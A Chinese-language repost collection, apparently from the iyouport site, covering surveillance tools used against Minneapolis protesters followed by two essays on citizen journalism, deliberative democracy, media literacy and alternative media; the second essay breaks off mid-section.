正如一份监控白皮书所指出的那样，在明尼阿波利斯市开展活动的执法机构，如明尼苏达州边境管理局，可以使用更多的监控工具。例如，明尼苏达州边境管制局有能力部署 “黄貂鱼”，这是一种模仿手机信号塔的工具，据称 “黄貂鱼” 已经被用来攻击黑人民权组织的抗议者。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

随着抗议活动的展开，明尼阿波利斯市还可能受到联邦层面的监视。据政府监视项目调查记者 Jason Paladino 称，海关和边境保护局（CBP）周五在该市上空飞行了一架 “捕食者” 无人机。

▸ 注：捕食者无人机不仅可用来全面监控，还可携带两枚地狱火飞弹。

在 BuzzFeed 新闻获得的周五提交给国会工作人员的一份声明中，CBP 官员表示，该机构的空中和海上行动部门正在 “应明尼阿波利斯联邦执法伙伴的要求，准备提供实时监视视频，以帮助了解情况。” 该机构说，无人机经常在全国各地部署，以 “加强执法的工作”。

- 关于无人机 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《抗议者使用数百个激光笔”击落”警察无人机》
- 《新型攻击形式：骇客如何利用无人机接管你家电视》

此外，根据该公司活跃的合作地图，明尼阿波利斯大都会地区的几个地方警察部门 —— 包括斯普林湖公园、布鲁克林中心、普利茅斯、

圣路易斯公园和埃迪纳等地的警察部门 —— 都已经与亚马逊的家用监控 **Ring** 签订了合同。

- 关于 **Ring** 见《亚马逊帮助警方构建了一个广泛的监控网络》

Ring 公司的合同让警察可以访问该公司的执法门户，警察可以在完全没有搜查令的情况下，向居民要求拍摄到的录像。

作为交换，Ring 向警方提供了免费的监视摄像头，如果警方说服足够多的人下载其应用 Neighbors（就是邻里之间互相监控的应用程序），该公司就会提供更多的免费摄像头。

电子前沿基金会律师 Saira Hussain 告诉 BuzzFeed 新闻，监控技术的普及可能意味着示威者在示威结束后很长时间内都会面临被捕的风险。

“重要的是要知道有哪些类型的风险，并且要知道，风险可能不只是在当下，”Hussain 说，“之后也是如此，因为有这么多海量的监控技术 ——[完全可以追溯到任何人]。”

- 在这理看到追溯逮捕的演示 《1200万部电话，一个数据集：利维坦眼中的世界》

▸ 注：Hussain 说得没错，监控不仅致力于将抗议活动扼杀在行动者的构思阶段，并且旨在在抗议活动中指导暴力镇压，尤其是，它将在抗议结束后很久用来追溯式侦查，以抓捕所有当局想要的人。

这篇文章基本展示了所有当权者最容易使用的 “智能镇压” 方式。中国行动者应该能从中了解到您需要应对什么样的局面 —— 因为这些监视工具中国都有。○

Here Are The Minneapolis Police’s Tools To Identify Protesters

原文

让它民主：在真相事业中构想未来图景（上）- iyouport

社会反抗和思考让它民主-公民掌握真相的技巧和技术

【2019年7月25日存档】如题所示，对真相的寻求和捍卫应该是一项事业，而不是企业；它应该服务于公民，而不是”消费者”。如果它本身不是民主的，那么它肯定无法服务于民主。就如集中化的互联网不是民主的，我们就必需打破它。

过去的新闻

> 在一个出版自由的地方，人人可以阅读，一切都是安全的 —— *Thomas Jefferson*

现在的新闻

> 以市场为导向的新传播和信息体系，显然是把受众当成了消费者，而不是公民。在这一过程中，公民的身份被彻底边缘化或取代了 —— *Peter Golding*

未来的新闻

> …… 十几岁孩子中，超过一半曾自己制作媒体内容，而在十几岁的网民中，大约三分之一的人分享过自己制作的内容。在许多情况下，这些十几岁的孩子正在积极地参与我们所称的*参与式文化*。参与式文化是门槛较低的艺术表达和公民参与…… —— *Henry Jenkins*

好吧，现在看起来 Thomas Jefferson 就像是个乌托邦主义者，他很可能无法想象如今的传媒业局面。他也许更愿意在互联网上搜索信息、参与信息制作，而不愿意被动接受媒体宣传。正如资深记者 Walter Pincus 所言：

今天，主流媒体想要保持中立、展现涉事各方的观点，仿佛自己是一场“比赛”的裁判。在这样的“比赛”中，只有选手 —— 政客和政客的政治对手 —— 可以参加。媒体已经愈发成为了仅仅是其他人思想与观点的载体和传送者，不顾其重要性、相关度，有时甚至不顾其准确性。

事实上，作为一位有洞察力的观察者，Thomas Jefferson 可能会注意到，至少有两种重要的公共信息模式在发挥作用。

旧的新闻模式日渐式微，原因有两种：一是其商业模式垮塌；二是许多人不再信任旧的新闻模式生产出来的产品，或觉得与自己无关。

在新模式中，互动和社交技术的应用不断扩大，培养了网络受众，他们参与分享甚至生产内容。在类似 netroots 运动中，以及那些通过电脑手机疯狂传送的高度意识形态化信息中，我们看到了第二种模式的重要性；在许多其他信息领域，从政治和商业信息到大英百科全书以及维基百科这样的参考文献信息中，也能看到这两种模式的痕迹。

旧的媒体消亡，会出现一些不伦不类的试验品填充它们的位置。当然，问题是，这些替代品是否具备足以支撑自己发展的商业模式和产品质量。有一个故事可以说明当今某些实验存在的问题。

这是个真实的故事。一位风险投资人去参加一场报告会，整个会议死气沉沉的，对方代表来自一家半死不活的报纸，他们的建议是，报纸要登载“更多宠物和爱侣的照片”。这位投资人越听越担心，因为整个会议没有任何人提起新闻的事。

他意识到，在报业发展的黄金时代，报纸的大幅受益在某种程度上支撑着高质量的政治报道；这种商业利润补给给公共产品的做法的确不多见，而现在，随着上市公司收购新闻媒体并榨干了最后一滴利润，已经没有公司还会这么做了。

这位投资人说：“或许作为公共服务的新闻业，就如同国防、新鲜的空气、干净的水一样，属于公共产品……如果任其自便，市场力量就无法足量生产这种产品”。[“Lone Star Trailblazer: Will the Texas Tribune Transform Texas Jourmalism?” Columbia Journalism Review July–August, 39–43. 2012]

想明白后，这位投资人帮助创办了《德克萨斯论坛报 The Texas Tribune》，这是一家致力于调查性新闻的网络报纸（www.texastribune.org）该报将自己的使命描述为：非营利、非党

派的公共媒体组织，致力于促进公民对公共政策、政治、政府以及其他国内事务的关注和参与……

很明显，“非营利”、“公民参与”这些特性与长期以来占主导地位的新闻模式相去甚远；你在纽约时报、华尔街日报的办报宗旨中是看不到这些字眼的。

本文及下一篇文章将探讨和介绍重塑新闻业的实验性做法。但是，其中一些尝试会面临一些问题，比如，通过私人慈善事业和基金会操作，作为一种模式是否具有可持续性或可行性。

除了将新闻的焦点转向调查性报道和公民参与之外，《德克萨斯论坛报》还率先推出了互动数据库，使公众可以直接获取公共记录，这种做法引起了公众极大的兴趣。很多人订阅这份报纸不是为了浏览新闻和博客，而是为了访问它的数据库。

由于技术的发展，公众可以直接获取自己所关心问题的答案，如 官员的薪水、竞选捐赠来源、学校的排名、交通罚单等等。而不是通过媒体的转述。事实上2010年的皮尤调查就已经发现，40%的成年互联网用户曾经查阅政府开支数据。[Jake Batsell ,Lone Star Trailblazer]

只是关心和查阅还远远不够。如果公开数据不够真实、公开描述不够充分，公民应该知道还可以如何获取真相。这就是为什么 **IYP** 要介绍 **OSINT**，这是互联网时代提供的前所未有的民主途径 —— 由公民掌握真相的机会。

简单说，如果公民自己能够成为记者，提问与个人相关的问题，并通过基本技能寻找到真相作为答案，那么未来的公众将具有怎样的本质属性呢？是的，成为公民。或许在加密通讯和去中心化的社交媒体的帮助下，人们可以分享信息，并根据这些信息采取行动，从而培育了大量更为积极的公众 —— 媲美传统主流媒体的影响力。

但另一方面，公众的声音也很可能被碎片化，成为孤立的利益群体，他们的声音很难被听到。

当然，不论传统新闻模式及其把关行为的结局如何，目前的信息环境都会是不同信息流的大融合。

彼此孤立的公民 ——

数字时代的个性化潜能让很多民众为之神往。许多媒体顾问认为，对于传统新闻来说，最大的变化就是我们日常的信息发布正在变得愈发

个性化，迎合消费者的个人口味。

对这一趋势的第一反应就是“庆贺”，因为在这个正在膨胀的信息空间里，个人的选择余地越来越大，于是人们认为信息传播系统越个性化对民主就越有利。这种想法或许很诱人，但它是真的吗？

如果民主只是每个公民脑子里滋生的东西，而不是在公共生活中枝繁叶茂，那么高度个性化可能就是完美的了。然而，正相反，它不是。

就如政治学家 James Fishkin 批评的那样，即使是当前传播体系中最好的对话机制（如民意调查和脱口秀节目），也往往适得其反 —— 因为，它们只是在简单地将未被挑战的观念和偏见回传给了持有这些观念和偏见的个人，以及被割裂的受众群。

Fishkin 指出，比较好的做法应该是这样的：利用调查、劝说、和焦点小组辩论等方式，组成互动的公民评判委员会，使这些人能接触到各种信息，聆听专家辩论，可以质疑专家，然后进行小组讨论，再公开宣布自己的观点。[The Voice of the People: Public Opinion and Democracy, James S. Fishkin]

虽然在不同国家进行了几次实验表明，这些“议后”民意调查的结果还是很不错的，但是，向民众传递信息、调查民意、和利用民意的政治与传播趋势似乎都在朝着相反的方向前进；面对面的讨论越来越少，而个性化的信息却越来越多。这是互联网媒介在塑造人心中所起到的强大作用。

根据 Fishkin 的观点，目前许多旨在鼓励公民参与传播过程的设计，均缺少了帮助人们更好地了解有关问题新知的条件。

目前大多数民主政治信息体系都恰好缺少一些目标明确的公民间交流；而在媒体上是占主导地位的，⚠通过民调和受众即时反馈所表达出来的意见强调的是易变的私人观点，根本不是真正的*舆论*，因为舆论是通过公共对话和讨论形成的。

在公民决定新闻应该是什么样之前，或许他们更需要获得“议后”判断的机会。

参与协商的公民 ——

Fishkin 认为，不应该鼓励人们就某一问题直接发表不成熟的个人意见，而首先应该在互动的环境下，让人们接受新信息的挑战，进行思考，并参与讨论。

在 Fishkin 早期举办的公共论坛里，参与者首先需要了解专家传递的信息，然后分成小组讨论自己所听到的信息，再对相关问题形成结论。

1994年 Fishkin 对这一想法进行了开创性的实验。在几家印刷媒体和广播电视新闻的共同资助下，他随机选取了300名公民作为样本，他们要讨论的是犯罪问题。

在阅读各种介绍资料、聆听专家意见、互相辩论之后，这些人对于如何解决犯罪问题，出现了戏剧性的观点变化。

例如，实验前的调查显示，57%的人认为加重刑期是打击犯罪的有效手段；而了解到有关研究、并就刑罚与犯罪的关系进行了批判性思考之后，只有38%的人认为监禁是有效手段。

Fishkin 不认为这是经历“实验”把人“变成了”自由主义者。他指出，在接触更多信息，参与讨论之后，他们对犯罪问题的严重性以及惩罚犯罪的必要性的关注，本质上并没有改变。然而，他们的政策主张却变得更加现实了，而且，最重要的是，不易被政治人物和新闻中肤浅的思想所影响。

以这些早期的协商模型为基础，传播学者 John Gastil 建议组成公民座谈群组，对投票议题进行讨论，然后，各种须投票表决的问题、座谈群组的建议以及他们对各派观点的评定，可以随选票一起递送给投票者。

Fishkin 认为，这样的论坛实验可以帮助我们学会如何听到“值得倾听的人民的声音”。

包括 Fishkin 在内的许多观察家都认为，数字革命能让公民更多参与审议和协商的过程。然而，正在扩展的在线世界可能不会像许多乐观派一开始想象中那么容易适应有重点的、互动的公众体验。

事实上，对在线社区进行观察会很容易发现，通过网络组织讨论的方式很少能够产生理想的结果。聊天室、电子公告栏、新闻群组、邮件列表、博客和维基百科，为使用者提供了大量的交流机会，但是，这样的在线交流往往没有约束，没有批判性思考，肤浅和极化，根本称不上商议。

在面对面的人际交流中，人们也明显倾向于保持论前态度，就如 Diana Mutz 所分析的，大多数人会避免与观点不同的人一起讨论。

[Hearing the Other Side: Deliberative versus Participatory Democracy, Diana C. Mutz]

本文的目标就是分析信息传播的积极参与者如何可以避免孤立，促进智慧的政治行动。探讨公民信息的未来。

个性化信息和民主的未来 ——

一方面是碎片化、个性化的传播系统；另一方面是数字网络化社会的趋势。能在这种尴尬中求得平衡的个体或许将会作出理性的信息选择。

或许，人们不会逃避社会与世界的难题，因为可以自由选择构建更加私人化的现实世界；当然，人们可能会回避那些他们认为“不会影响到自己”的问题，或是“没有希望被解决的问题”，或是需要更多思考和关切而自己又没兴趣付出精力的问题……有关新闻消费习惯和政治参与模式的研究结果并不那么鼓舞人心。

在美国，从80年代开始至今的新闻消费研究表明，公众对国际、国内和地方新闻的关注都在呈现大滑坡态势。这一下滑态势与投票可能性降低、甚至是注册投票可能性降低，均息息相关。但与此同时，迅速扩张的数字传播网络为人们提供了以相对低廉的成本随时获取遥远信息的可能性。最近几年中，年轻公民展现的参与热情反应了公民思潮一种令人欣喜的转变。

然而，如前所述，参与的质和量同样重要。一个令人担忧的问题就是，在目前的信息环境下，人们很可能会仅仅选择符合自己观点的信息。民主是否能在政治体验进一步碎片化、个性化的环境中生存下来并保持一体？

以个人为中心形成的封闭信息圈的一个特点就是，社会现实本身也变成了一种愈加个性化的产物。对于“我是谁”、社会如何标示我这样的问题，许多人实际上都拥有实实在在的选择权，这在人类历史上可能前所未有。

而其中的原因，正如很多社会理论家所指出的那样，是过去曾经与团体属性紧密相连的身份在变弱。如 阶级、商业、俱乐部或者社区协会等。随着个人身份中这些元素明显变弱，取而代之的是对生活方式和消费社区的无限选择。 **[具体解释详见《nobody cares 的背后究竟是什么》]**

公共领域凋零？——

民主意味着一种公共生活，也就是说，人们对如何解决共同问题可以进行批判性思考。公众对民主决策的参与质量取决于人们可以分享的大众传播平台。在这样的平台上，他们可以表达个人关切，提出新的想法，并见证这些想法是否经得住日常辩论的考验。

这些公共空间包括咖啡馆、酒馆、市民议会、读书俱乐部、小餐厅**……**它们构成了先锋传播理论学者 **Jurgen Habermas** 所称的*公共领域*。

许多当地观察家都意识到，在现代社会公共领域正在缩小，或至少面临分裂的危险，而且讽刺的是，个人传播技术的扩张对公共领域的缩小要负很大一部分责任。

例如社会学家 Todd Gitlin 认为，与其考虑具有凝聚力的公共领域，不如考虑一下微小的、变化中的“分公域”的扩张更有意义。[Todd Gitlin, lecturer, University of Washington]

这些按兴趣形成的分公域极具吸引力，通常会为逃避大社会带来的痛苦提供安慰。然而，如果人们不断适应这些传播技术构建并享受自己的私人世界，那么他们去什么地方汇聚并分享彼此的关切和信息呢？如此一来，形成共识的机会不就更少了吗？具有凝聚力的政治讨论离不开这样的聚会和分享。

简而言之，我们进行政治传播的过程和我们如何一起采取政治行动，是密切相关的；即 如何界定目标、制定行动计划。

国家政治的一个极端就是政治斗士，他们不断使用道德口号充斥各种媒体，热情地呼唤人们追随。但是因为受众已经分化，这些人只能在脱口秀和**YouTube**中走红，对于有闲看节目的人来说，他们提供了一种低成本的媒体奇观，但是对于更多厌倦的人来说，他们显然只是树立了糟糕的榜样。

如前所述，如今许多人更倾向于躲避政治，或是至少希望政治话题局限在家里，而不愿在生活中毫无偏见地参与公共辩论。

许多观察家都指出过，公共信息的权威基础本身在衰落；正因为每个人都能够分享信息，对他人分享的信息给予尊重的共同基础就被弱化了。新闻媒体并没有对这种个性化的信息趋势施加有意的影响；他们只是为了迎合大众情感和消费者口味，而不是为了传播具有挑战性的

另类观点。

简单说，从信息体系任何一个层面来看，无论是从新闻媒体的立场，还是政治角色的立场，抑或是民众角度还是技术因素，很显然，我们现在所处的信息环境正在发生重要的变化。

—— 没有魔法 ——

当下的传媒业不是民主的，这就是为什么它无法服务于民主。“新闻自由”被沦为了一场神话；人民被锁定在弱势的地位上，所有选择都是被安排好的，他们的政治反应被新闻模式的把关规则所过滤。

这种情况下已经没有能独立决策的公民，公众最常出现的只是心理学家常说的“习得性无助”，他们要么逃离—从政治和公共生活中退出，要么拥抱完全不切实际的概念从而变得虚无。

没有什么魔法可以改变这一局面。它不是一蹴而就的，改变的过程只会更加耗时；但是任何一种小的改变都是在为大的目标而积累。想想看我们可以提一些什么建议？

给公民的建议 ——

对于如何获取信息，公民可以进行更有创造性的思考，这样就会带来变化。

首先是参加公共生活，但不要寄希望与那些不切实际的神话；然后开始自由想象，寻找替代方案，展开头脑风暴思考一下如何建立一个更完美的信息秩序，这不会产生什么成本。

职业新闻已经快毁掉了，但这不是真相的结束。在思考传播的方程式时，或许人们应该更多在输出端考虑多样性及其质量问题，而不是在输入端纠结于“为什么无法改革”。

除了开动脑筋思考如何设计一个更好的传播体系，公众还可以学习如何更好地利用现有的传播体系。IYP在“媒体和新闻自由”栏目中提出的思考和批判性分析有可能帮您解码新闻。

如果人们能读出新闻的言外之意、看到照片背后的门道，就能对新闻少一点失望和困惑，能更清晰地知道自己的责任。

简而言之，若想更好地了解世事，并非简单地加大阅读量就可以了，而是，要在批判的眼光下解码多方信息；若想更好地了解世事，不仅

仅需要记住当天孤立的新闻事件中谁在什么时间什么地点在何种方式上做了什么。理解公共问题的政治原因和社会影响才能帮助你理清思绪，决定如何回应。

以下这些简单的建议将有助于读者成为一个更具批判思想的公民。

1、识别陈词滥调和情节公式

当新的消息被装进旧的公式中，人们也就不会有什么动力去用新的观点代替原来的偏见了。

政治人物最容易讲、记者最容易写的故事，往往建立在有关这个世界的熟悉形象上，而不是真正的事实 。除非这种炒冷饭的东西被识破、被扔掉，否则这样的新闻对公共讨论毫无帮助，只能固化肤浅的理解和老旧的思维。

发现并抛弃那些诱导性的描述和时髦的流行语很重要，否则任何进步派支持者只会被惹恼，因为他们看到的是一睹高高耸立的高墙，阻碍了有意义的传播。

诸如“左派”、“右派”、“大政府”、甚至“有地位的”、“知情人士”这样的说法都对信息进行限定，让人们作出选择性的解读。

比如说，也许有些人真的是“恐怖分子”这个词所指的那种反社会人格，然而，泛泛地向恐怖主义“宣战”却为更多值得质疑的政治可能性提供了机会。而且，对恐怖主义的情绪化反应使值得怀疑的外交政策被轻易地贩售给公众，最典型的就是入侵伊拉克。其借口存在严重事实缺陷，但通过打感情牌，挡住了许多质疑的声音。当人们意识到问题时，为时已晚，（伊拉克战争是任何关于政治宣传如何操纵世界的论文中最多出现的案例）

“恐怖分子”之概念还被用来当作绕开法律程序实施拷问的挡箭牌，更，让大规模窃听监视找到了最强的理由。

这是媒体帮助构建出的概念 —— 也是“前期宣传”的一种，相关分析详见《操纵式宣传：五个过滤器和识别线索》

大而化之的“反恐战争”标签也会妨碍对权利被剥夺群体的理解。对这一群体来说，如果他们想要社会关注，要想问题得到解决就只能破釜沉舟诉诸暴力，正如政治学家 Steven Livingston 所分析的，“恐怖主义”标签通常会被意欲推行自己政策议程的政治人物策略性地应用在新闻中，而这样的标签则会影响如何讲述关于他们政策的故事。[The

Terrorism Spectacle by Steven Livingston]关于这个问题，更多分析详见《暴涨的种族冲突和身份证明的魔咒》

2、寻找不符合情节的信息

“世界上有三种谎言：谎言、彻头彻尾的谎言，和统计数字” —— 记住这句话很重要。

文献、包括统计数据和图片，都可以被断章取义，拿来作为当下观点的证据。只要与“有力的形象”、熟悉的情节、或任何被深信的观点相吻合，它们就会被*看起来真实*。

请记住关于*事实*的警句：事实从来不是整整齐齐、干干净净的。原始数据总是乱糟糟和模棱两可的。数据的模棱两可也恰恰是它们的优势 —— 可以激发人们进行批判性思考，并寻求新的可能。

当事实与说辞配合得太完美时，它们提供的是心理上的肯定，而不是对事实的验证。很少有人有动力去挑战政府和名流的说辞。

为了抵抗这种新闻心理，公众在接受某一“事实”之前必须仔细辨别其真伪。首先应该透过其夸夸其谈的迷雾，辨清某种说法是确有证据还是空口无凭的指责和断言。最重要的是，应该找出不严谨的事实，在此基础上，也许你能发现一个完全不同的故事。

就那些值得推敲的事实进行分析解读，可以帮助我们看清值得关注的潜在政治问题。如果你不是急于将它们套进相关新闻的情节中，就会比较容易聚焦于这些游离的事实，并锁定它们的方向。

3、通过其他信源核实意识形态倾向性的言论

这里指的不是去“时代周刊”核实“新闻周刊”的报道，而是说，应该把那些提供了更多、更丰富的历史记录，反应了批评人士、反对组织或无利益纠葛的学者思想的出版物和文献纪录片当作参考。

利用互联网可以很容易搜集到关于任何话题的海量信息，当然，算法在操纵你最可能看到什么，人们基本不会去浏览搜索引擎第三页及之后显示的内容；不过，学会搜索肯定是必要的，科学的搜索依旧能让你找到值得关注的内容。记下一些信誉好的独立媒体的域名也非常必要，我们在下一篇文章中会介绍*替代媒体*的概念，一些很成功的替代媒体是公民应该熟知的。

关于如何进行更合理的搜索，详见《高级运算符辅助开源调查：巧用

搜索引擎挖掘情报》。

最后，为了驾驭信息，建议安装一个简易的信息聚合阅读器 RSS，肯定会比社交媒体上的信息轰炸要强很多。

4、识别政治宣传和新闻运作

有些时候，“新闻”中似乎找不到什么不严谨的事实可供另做解读。被成功控制住的“新闻”，其事实材料的数量刚好能满足政治剧本塑造形象的需要，特别能唬人。

当政治人物成功推出他们按剧本表演的新闻事件 —— 或者说虚假的新闻事件时 —— 媒体倾向于只报道那些被特意植入的、可以增加可信性的片面事实。

在这种情况下是极难辨别的，批评家必须学会识别虚假报道的特点，并解码其传递的政治讯息。当然，第一特征就是：成功的虚假新闻事件中不会让你看到很多漫无边际的事实。

在这里看到更详细的分析《操纵式宣传：五个过滤器和识别线索》我们在后面还将有更多分析。

当一位政客要对某种现象宣战时（不论是腐败还是黑社会还是恐怖主义），公民应该准备好从中寻找政治表演的痕迹。

中国的反腐反黑就无需解释了。在美国，这种表演也是很有传统的。里根当年就宣布“向犯罪开战”。那是电视剧时代，政治表演还算朴素的。当时他宣布了一揽子立法，要让罪犯“付出更大的代价”。里根的整个表演目的是塑造一个强有力的领导者形象，汇集民意支持，笼络那些心存恐惧的、经济困难的民众。

请注意这一表演是在里根遭受首次重大失败后的两天内提出的（因为国会推翻了他对一项重大的联邦开支法案的否决）。有没有可能里根的媒体公关团队已经设计好了他获胜的剧情安排并为之候场？细心的政治批判者应该能发现其中的政治表演痕迹，将演员与其政治际遇联系起来。

老布什后来也模仿里根的做法，推出了“向毒品宣战”，他把道具运用得更加驾轻就熟。在这场戏里，新闻道具是一袋子强力可卡因，老布什在电视里举起这袋可卡因“宣战”。

华盛顿邮报后来承认，老布什的这场戏是由某媒体顾问团队策划的。

这篇报道在媒体中引起了强烈反应，并在此后被不断引用和提及，成为了一个经典的闹剧案例。

华盛顿邮报说：为搞到这袋可卡因并不是易事。为了配合老布什撰稿人写的脚本，缉毒局的特工在总统讲话前四天，把一个可疑的毒贩骗到了拉法叶公园，上演了一场“抓毒贩”的戏码。实际上拉法叶公园广为人知，主要是因为在白宫对面，而并非是因为什么非法毒品活动。

事实上，那个十几岁的嫌疑人是平生第一次接触到伪装成买家的便衣特工，似乎对他们的要求感到迷惑。

“白宫在什么地方”。在被缉毒局特工秘密录音的对话中，那位嫌疑人这样问道。

“我们不得不设法把他弄到这里”，缉毒局华盛顿地区办公室的特工 *William McMullen* 说，“这可真不容易”。[A ‘Sting’ Tailor-made for Bush，Michael Isikoff, 1989]

这出戏被揭穿后，老布什接着又按照其媒体公关团队的导演，针对揭露者的批判做出了策略性的回应：时不时地对媒体发发飙。老布什的谋士们发现，对媒体发点小脾气能显得总统更强硬、更尽责。

5、学会自我批判

你可能会担心这些建议会让你变成一个愤世嫉俗的人而不是批判者。还有谁可以相信？还有什么值得相信？新闻批判的目标并不是要否定一切，而是面对人云亦云的压力，学会对世界大事进行独立的、自信的思考 —— 不是要怀疑所有的权威，而是要相信自己的判断。

这会引出一条最重要的原则：先入为主的观念和偏见，在筛选和接收新闻信息时，会发挥明显的作用。

认识到这一点就应该努力有意识地在任何可用的场合，选取与之相左的信息，挑战这些观念 —— 它说的哪里有道理，哪里值得探讨？自我批判并不是说要把原有的观念连根拔除，也不是说要像树立某种观念时那样快速地将它们拆毁。它的目的是确保我们的信念不会成为一面横在真相面前的墙。

当信念有助于我们建设性参与解决问题时，它就会发挥更大的作用。

但是，当信念被作为绝对真理来捍卫导致所有与之对立的证据被忽视时，它就会成为社会问题的根源。

反对派尤其应该注意这点。你们的信念是正义的，但如果你希望获得更多的民众支持，你就需要在政治策略层面胜过你的对手。切勿让人们评说“反对派和他们反对的人一个鸟样”。

6、寻找更多视角的信源

这是一个大建议。而且不仅是寻找 —— 因为资本垄断导致认知的垄断，你有可能找不到其他视角（就如谷歌对独立媒体实施在搜索排名中降级）。于是针对这种状况需要的就不仅仅是技术了，而是一场运动。

我们将在下篇文章中作出更多介绍。

是充满生气的草根传播，还是与社会隔离的、以自我为中心的个人冥想？对于电子民主的未来而言，最好的可能性和最坏的可能性同时存在。新技术用来做什么？关于这个问题的公共辩论将影响电子民主的方向。

—— 未完待续 ——

原文

让它民主：替代媒体作为抗争之源（下） - iyouport

社会反抗和思考让它民主-公民掌握真相的技巧和技术

【2019年7月30日存档】媒体不仅仅意味着一张报纸或一个网站。希望您能通过本文了解到反抗意味着什么、如何寻找社会空间以发挥反抗的能力、如何在身边开启民主实践

上一篇文章中我们讨论了一些让新闻再次服务于民主的建议。主要是给公民的建议。当然，也可以给职业媒体一些建议，但理论上他们绝对做不到。于是我们专注于公民，毕竟民主意味着公民的行动，而非任何特权阶层。

上一次分析到一些不现实的和失败的传播实验，本文将介绍一些比较成功的、可以作为参考的实验案例，即：替代媒体方案。理论上这一民主实践有希望在中国获得成功。

替代媒体是指在内容、制作或发行方面与已建立的或主导类型的媒体完全不同的媒体 —— *完全不同*就是关键字，据我们了解中国目前没有这样的项目，中国的自媒体不是替代媒体、公众号和私人博客只是主流媒体的复制品。下面会解释为什么。

替代媒体有多种形式，包括印刷、音频、视频、互联网和街头艺术等等，都包括。

这不是新鲜事物，而是有传统的。人民的自由之心自古以来都很强盛。

一些早前的例子包括20世纪60年代的反文化杂志、少数族裔和土著人媒体，如 加拿大的第一人民电视网（后来更名为土著人民电视网），以及最近出现的一些在线的开放出版新闻网站，如 Indymedia。

关键的区别在于：主流大众传媒总体上代表政府和寡头企业的利益，

而替代媒体则往往是非商业性项目 —— 主张那些被排斥在主流之外的人的利益，例如 穷人、政治反对派、少数民族、劳工团体、LGBTQI 等等。

⚠所以，并不是说你没有资金靠众筹维持并没有商业化就可以称得上替代媒体的，关键在于你为谁服务。

这些媒体传播的是被边缘化社区的观点，例如在公民社会组织 Democracy Now 中你才有机会听到的观点，并创建身份社区，例如在 YouTube 上创建的 It Gets Better Project，以应对同性恋青少年自杀事件的增加现象。类似案例非常多。

简单说，替代媒体是行动主义者，而不是嘴炮。

另类媒体挑战了主流文化的信念和价值观，并被 Antonio Gramsci 的文化霸权理论的拥护者们描述为“反霸权”。

“反”，就是中心意义。

—— 定义 ——

「图」

“替代媒体”有各种各样的定义。例如，John Downing 将“激进的替代媒体”定义为“表达反霸权政策、优先事项和观点的另类愿景的媒体”；Chris Atton 在评估该术语的各种定义时，反复注意到源自小规模反霸权群体和个人的替代媒体制作的重要性。[Atton, C. (2002). “Approaching Alternative Media: Theory and Methodology.” In Alternative Media. Thousand Oaks: Sage Publications]

Christian Fuchs 还认为，替代媒体必须具有四种不同的特性。

- 首先，这些媒体的受众必须参与创造替代媒体所发布的内容。
- 第二是它必须与主流不同。
- 第三，它应该创造一个与国家和寡头公司完全不同的视角。
- 第四个属性是替代媒体必须“与市场和/或国家建立不同类型的关系”。

这四点非常重要。也就是说，具备这四点才能称之为替代媒体，而不仅仅是独立媒体。独立媒体有可能无需做到全部这四点。

于是您能看清，为什么我们说中国目前没有这样的公民社会项目。并

且，您可以理解到替代媒体的参与者在技能方面的重要性，也就是IYP不断介绍技术技能的用意，这是民主实践中关键的基础设施。

您一定熟悉一句流行语叫“医生不会告诉你的事”，人们普遍对这样的流行语所涵盖的内容感兴趣，因为绝大多数人能根深蒂固对认识到，那些拥有强大权力的人不会完全为普通人着想（只是类比，此处无关医患关系）。

媒体也一样。对于那些垄断者和具有强大后台的媒体，你不用指望从它们那里看到有利于公民的完整真相，而且它们很擅长愚弄和操纵公民，以利于权势的利益。

于是，打破它们的第一步是应该认识到它们是如何操弄你的，这方面非常微妙，并非显而易见，我们在“How To Win”部分有很多介绍。了解并能准确识别国家和寡头公司的影响力手段，是打造合规替代媒体的重要基础。

简而言之，当你看到异议记者主张“像其他国家的主流媒体学习什么以抵制本国的主流媒体”的时候，你能知道，这里尚且不会诞生替代媒体，没有公民社会。

—— 常见的方法和做法 ——

「图」

替代媒体学术研究的方法试图理解这些媒体的重要性，每一个研究都强调媒体的不同方面，包括公共领域的作用、社会运动方面的作用、以及创造媒体的社区的参与。

民主理论与公共领域 ——

理解替代媒体的一种方式是考虑他们在民主传播过程中的作用。

哲学家 Jürgen Habermas 提出，一个健康的民主社会需要一个可以积极发动公民参与、在公民之间进行理性辩论的空间。

至关重要的是，公共领域的对话不受任何当局的控制，以便公民能够平等地交换意见。这意味着需要言论自由和新闻自由。

在哈贝马斯关于公共领域的想法中，参与对所有人开放，所有参与者都被认为是平等的，任何问题都可以提出来进行辩论。

但是，这种观点没有注意到女性和少数群体（及其利益）被固有地被排除在公共领域的辩论之外。

鉴于这种社会不平等，哲学家 Nancy Fraser 认为：多个独立公共领域是十分重要的，其中下属群体的成员可以首先在他们自己之间审议问题和关注问题，然后将这些问题主张带到更大的公共领域中。

替代媒体对于发展群体的需求和身份以及挑战更大的主导公共领域至关重要。例如，一个女权主义的反公共领域负责传播这样一种观点，即家庭虐待和生殖权利等妇女问题在大公共领域值得辩论。一个政治异议的反公共领域负责传播的观点是，权势在隐瞒什么、我们如何才能反击。

社运媒体 ——

「图」

社会运动是一种集体行动。涉及大型、有时是非正式的团体或组织，它们关注特定的政治或社会问题，并推动、抵制或消除社会变革。前者指的是进步运动，后者指得是保守运动。在中国发生的更多是后者。

⚠社会运动媒体指的是社会运动如何使用媒体，而且，由于社会运动的本质，媒体往往是一种重要的替代方式。

沟通对社会运动的成功至关重要。

研究表明，社会运动在通过主流媒体进行交流时遇到了很大的困难，因为主流媒体经常会系统地歪曲、诬蔑或忽视社会运动的观点。[Stein, Laura (2009). “Social movement web use in theory and practice: a content analysis of US movement websites”. *New Media & Society*. **11** (5): 749–771. doi:10.1177/1461444809105350.]

主流媒体很可能会否认社会运动在其发展的关键时刻的代表性意义，利用消息框架破坏、或削弱公众对运动合法性的看法，或隐含地鼓励寻求报道的运动行为者迎合社会活动主流报道的可疑价值，包括对暴力、情绪和口号的高度关注。你能在黄背心运动中看到主流媒体的集体抹黑和冷漠，理解这点并不难。

这种有问题的社会运动报道通常被称为抗议范式：大众媒体通过对抗议者的偏颇描绘使抗议团体被边缘化，并通过这样做而支持现状。因

此，📢社会运动经常需要转向替代媒体形式和实践，以便更有效地实现其目标。

黄背心并不是特例。主流媒体对社会运动的抵制在新闻业史上比比皆是。另一个最典型的例子就是“占领运动”，它始于2011年9月的占领华尔街。

